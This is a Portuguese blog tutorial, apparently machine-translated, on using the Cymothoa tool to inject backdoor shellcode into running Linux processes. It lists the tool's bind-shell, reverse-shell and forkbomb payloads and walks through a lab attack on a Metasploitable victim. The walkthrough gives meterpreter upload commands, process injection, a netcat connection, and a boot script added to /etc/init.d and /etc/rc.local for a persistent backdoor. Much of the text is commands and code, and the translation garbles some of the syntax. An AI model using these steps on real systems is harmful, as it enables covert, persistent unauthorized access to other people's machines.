Cymothoa



Cymothoa é uma ferramenta de pós-exploração. Ele pode ser usado para manter o acesso a um sistema de exploração. Cymothoa injeta uma variedade de códigos de shell para executar processos em um sistema. Quase todos os sistemas nix a maioria das variantes do Linux podem ser backdoored com Cymothoa. Cymothoa usa biblioteca ptrace em sistemas nix para avaliar os processos em execução e injetar shellcodes. A maior vantagem com esta ferramenta é que, não precisamos criar um processo separado para o backdoor. Enquanto um processo está sendo executado em si, que pode infectar um processo e iniciar um backdoor. Digamos, por exemplo, se nós explorada um servidor web, o inferno certeza apache2 ou httpd ou nginx ou qualquer que seja o programa de servidor web é, será ativado durante a inicialização. Por isso, tentamos injetar Cymothoa a tais deamons de serviços e automatizar o seu início durante a inicialização. Deixa vê-lo em ação, mas primeiro aprender um pouco sobre Cymothoa

Homepage: http://cymothoa.sourceforge.net/
Opções

  Sintaxe: Cymothoa -p <pid> -s <shellcode_number> [options]

  Principais opções:
     pid processo -p
     número shellcode -s
     -l nome da região de memória para injecção shellcode (default / lib / ld)
           busca por permissões de "R-xp", veja / proc / pid / mapas ...
     -m nome da região de memória para memória persistente (default / lib / ld)
           busca de permissões "rw-p", veja / proc / pid / mapas ...
     -h imprimir esta tela de ajuda
     Lista -S shellcodes disponíveis

 Opções de injecção (substituir bandeiras de carga útil):
     -f processo pai garfo
     -F Não se bifurca processo pai
     -b criar segmento de carga útil (provavelmente você precisa também -F)
     -B Não criar segmento de carga útil
     -w passar o endereço de memória persistente
     -W Não passar o endereço de memória persistente
     -a utilização de alarme agendador
     -A Não usar planejador de alarme
     uso -t setitimer agendador
     -T Não use setitimer agendador

 Argumentos de carga útil:
     -j definir temporizador (segundos)
     Definição do temporizador de -k (microssegundos)
     -x definir o IP
     -y definir o número da porta
     -r definir o número da porta 2
     -z definir o nome de usuário (4 bytes)
     -o definir a senha (8 bytes)
     -c definir o código de script (ex: "#! / bin / sh \ nls; exit 0")
           códigos de escape não será interpretada ...
 Payloads

 0 - bind / bin / sh ao porto fornecida (requer -y)
 1 - bind / bin / sh + fork () à porta fornecida (requer -y) - Izik <izik@tty64.org>
 2 - bind / bin / sh à porta TCP com autenticação de senha (requer -o-y)
 3 - / bin / sh ligar de volta (requer -x, -y)
 4 - tcp proxy de socket (requer -x -y -r) - Russell Sanford (xort@tty64.org)
 5 - a execução do script (veja o payload), cria um arquivo tmp você deve remover
 6 - garfos um servidor HTTP na porta TCP / 8800 - http://xenomuta.tuxfamily.org/
 7 - série busybox porta de ligação - phar@stonedcoder.org mdavis@ioactive.com
 8 - forkbomb (apenas por diversão ...) - Kris Katterjohn
 9 - cd-rom circuito aberto (segue / dev / cdrom link simbólico) - izik@tty64.org
 10 - áudio (knock knock bater) via / dev / dsp - Cody Tubbs (pigspigs@yahoo.com)
 11 - alarme POC () agendada shellcode
 12 - setitimer POC () agendada shellcode
 13 - alarme () backdoor (requer -y -j) Porta bind, garfo em aceitar
 14 - setitimer () follow cauda (requer -k -x -y) enviar dados via upd

Laboratório: Injectar Backdoor em um sistema comprometido Linux

Cenário: Temos um sistema executando o atacante Kali linux com IP 192.168.0.103, um sistema Linux alvo (metasploitable 2.0) com IP 192.168.0.102. A história continua após a vítima é explorado. Eu já tenho um shell meterpreter ligado para a vítima.

Vou explicar em breve o procedimento para isso. Dê uma olhada na figura a seguir.

Cymothoa Publicar Exploração & Backdooring Procedimento com Cymothoa.

Sim que é o algoritmo. Eu quero que você entenda o processo, em vez de apenas copiar os passos. Nós primeiro explorar o ganho do sistema de acesso a ele. Em seguida, o resto é tudo sobre a manutenção do acesso. Então, podemos tentar fazer o upload do binário Cymothoa existente (/ usr / bin / Cymothoa ou / usr / share / Cymothoa) para o alvo e tentar executá-lo. Mas não para mim o tempo todo. Então, se isso acontecer, vá para a etapa 3 abaixo. Se isso não acontecer, não se preocupe, nós temos acesso ao sistema, vamos baixar uma nova cópia e instalá-lo. Após a instalação, tente executá-lo. Se a bandeira Cymothoa vem, em seguida, a instalação é bem sucedida. Após isso, tentar infectar um processo a correr e ver se podemos obter uma conexão. Principalmente isso vai ter sucesso. Se ele não apenas experimentá-lo com outro processo. Mas o problema com isto é que dura apenas para o presente e não para o futuro. Ou seja, se o processo morre ou o sistema for reinicializado, não vamos conseguir o funcionamento backdoor. Para isso, crie um script shell e editar algumas configurações de tempo de inicialização na vítima e fazer um processo infectado cada vez que o sistema é iniciado ou reinicializações. Assim, podemos ter um backdoor persistente.

Chega Talk, Deixa Attack!

Passo 1: Baixe Cymothoa & Enviá-lo para Victim

Baixe a versão mais recente a partir do link abaixo usando o navegador web em kali máquina linux atacante.

Download Link: http://sourceforge.net/projects/cymothoa/files/cymothoa-1-alpha/


A localização padrão é / root / Transferências. Lembre-se disso.

Agora eu tenho uma sessão meterpreter execução (Como obter acesso na secção de Exploração.). Faça o upload do arquivo baixado para a vítima. Opcionalmente, você também pode baixá-lo diretamente à vítima (se você sabe).

  meterpreter> Upload downloads / Cymothoa <pressione tab> <espaço> / root /
 meterpreter> shell
 comando: tar -xvf Cymothoa <Digite o nome completo aqui, pressionando TAB chave trabalho doesen't>

 

Cymothoa Fazer o upload do arquivo para a vítima.

Nota: Toda vez que você cair em um shell de meterpreter, o shell tem capacidades limitadas. Tecla Tab doesen't trabalho e vim não retorna um display. Ele trava se abrir algo no vim ou nano.

Passo 2: Instalar Cymothoa & executar.

Enquanto estamos no shell. Altere o diretório para o local que fez o upload do arquivo e dar permissões de execução. Em seguida, executar o "Makefile".

  comando cd <location>
 comando: chmod + x Cymothoa <nome completo> -R
 comando: ./Makefile



Agora tente executar o arquivo. Lembre-se de estar no diretório onde você fez o upload do arquivo.

  Comando: ./cymothoa
Cymothoa Cymothoa Instalado

Passo 3: infectar um processo em execução.

Agora, encontrar os processos em execução no sistema e observe a identificação de processo (PID).

  comando: ps -e


Cymothoa Processos em execução na vítima

Agora, infectar o processo com Cymothoa.

  sintaxe: ./cymothoa -p <pid> -s <número de shellcode> -y <porta de escuta>

  comando: ./cymothoa -p 5476-s 1 -y 100


Dica: Lembre-se de verificar se a porta listning (opção -y) já está em uso.

Agora, verifique se a porta está aberta

  comando: netstat -l |  grep 100 <seu porto aqui>


Cymothoa Infectando um processo com Cymothoa

Passo 4: Tente uma conexão netcat da máquina atacante.

Abra um novo terminal em Kali sistema linux atacante e iniciar uma conexão netcat à porta nós specifiecd

  comando: nc 192.168.0.102 100 <vítima dar o seu ip e porta>

Cymothoa Netcat Connection para Cymothoa Backdoor

Lá você tem ...!

Passo 5: Preparar roteiro, faça o upload e configurar execução.

Esta é a parte mais difícil. Se você tem alguma idéia sobre shell script que você pode entender. Ou então tentar aprender alguma. Qualquer maneira o script é muito simples. Ele primeiro extrai o pid de um serviço ou um daemon. Verifica se é um número ou não. Às vezes, um processo terá processos filho. Portanto, vai haver mais de um pids disponível. Nesse caso, é essencial para extrair um pid só a partir de uma lista de PIDs. Em seguida, o script atribui o pid a uma variável (digamos q aqui). Em seguida, executa Cymothoa com valor do q variável como o valor para a opção "-p". Aqui está o script.

  #! / bin / bash
 p = `cat / var / run / crond.pid`
 #extracts o pid.  Aqui substituir o último com um processo de seu desejo.
  #example: p = `cat / var / run / apache2.pid`.
  #Remember O chracter antes cat & após pid é uma crase e não uma vírgula invertida.
 if ["$ p" eq "$ p"] 2> / dev / null;  então #checks se é um número ou não.
 q = $ p
 outro
 q = `(echo $ p | awk '{print $ 2}')` #takes a próxima linha que será um número.  Aqui também é uma crase
 fi
 echo $ q
 exec / Cymothoa-1-alfa / Cymothoa -p $ q-s 1 -y 100 # certifique-se de dar caminho absoluto de Cymothoa na vítima.
 Saída

Coisas a serem observados:

    Ao atribuir a saída de um comando para uma variável, uma crase é usado.
    Sempre dar caminhos absolutos e completos sempre que necessário.
    Você pode escolher qualquer serviço. Um serviço que é provável que comece na inicialização como apache2 / crond / vsftpd / mysqld etc é apropriado.
    Localização Pid é sistemas Unix padrão é "/var/run/process.pid".
    Verifique se a porta de escuta (opção -y) não for utilizado por outros serviços. Dando a porta 80 será uma má idéia se é um servidor web.

Copie o script para um arquivo na máquina linux kali. Editá-lo e salvá-lo em conformidade.

Cymothoa The Script

Cair de volta para shell meterpreter pressionando Cntrl + c & fazer o upload do script para /etc/init.d

  meterpreter> Upload cym.sh /etc/init.d/ <substituir cym.sh por seu nome de arquivo>

Solte a desembolsar agian dando permissões shell COMAND e de mudança.

  meterpreter> shell
 chmod + x /etc/init.d/cym.sh <substituir pelo seu arquivo>

Cymothoa Enviando o Script

Agora é a parte grande. Temos que permitir que o script seja executado durante a inicialização. isso é simples, basta adicionar uma entrada para /etc/rc.local. Mas vim ou nano não estarão disponíveis. Além disso, se o arquivo de gato (rc.local) há uma declaração "exit 0" no final. Quaisquer declarações anexas após esta não será executada. Então nós temos que cortar a última linha, acrescentar a nossa nova linha e, em seguida, adicionar a linha de saída de idade.

  comando: sed -i '$ d' /etc/rc.local
 comando: echo "/etc/init.d/cym.sh sh" /etc/rc.local >>
 comando: echo "exit 0" >> /etc/rc.local

Certifique-se de que por

  comando: /etc/rc.local cauda

Cymothoa Editando a Configuração

Nota: Aqui também dar caminhos absolutos ao escrevê-lo para o arquivo rc.local.

Tudo pronto..!

Agora, enquanto no shell, assuntos

  comando: início /etc/init.d/rc.local

Se todos os passos estava certo, você conseguiu. Em seguida, tente netstat enquanto dentro da concha e ver se a porta está escutando. Se você é permitido, reiniciar a máquina para que a sessão de shell & meterpreter morre. Abra um netcat para a vítima depois de algum tempo. Você vai se surpreender.

Ufa! Isso foi muito tempo, mas você vai obter resultados muito bons. Eu tive que fazer um monte de investigação para cada etapas no processo e com certeza gostaria de saber sua opinião. Tentar fazer isso e por favor subscrever, comentar e siga este blog em todos os lugares.

Referências:
https://nixos.org/nix/

 
http://stackoverflow.com/questions/806906/how-do-i-test-if-a-variable-is-a-number-in-bashis-a-number-in-bash
Postagem mais recente Postagem mais antiga Página inicial

Populares

Recente

Software Avançado De Investigação Forense Móvel

O MOBILedit Forensics é um software forense avançado para telefones, que  extrai  e  analisa profundamente o conteúdo do telefone,  incluind...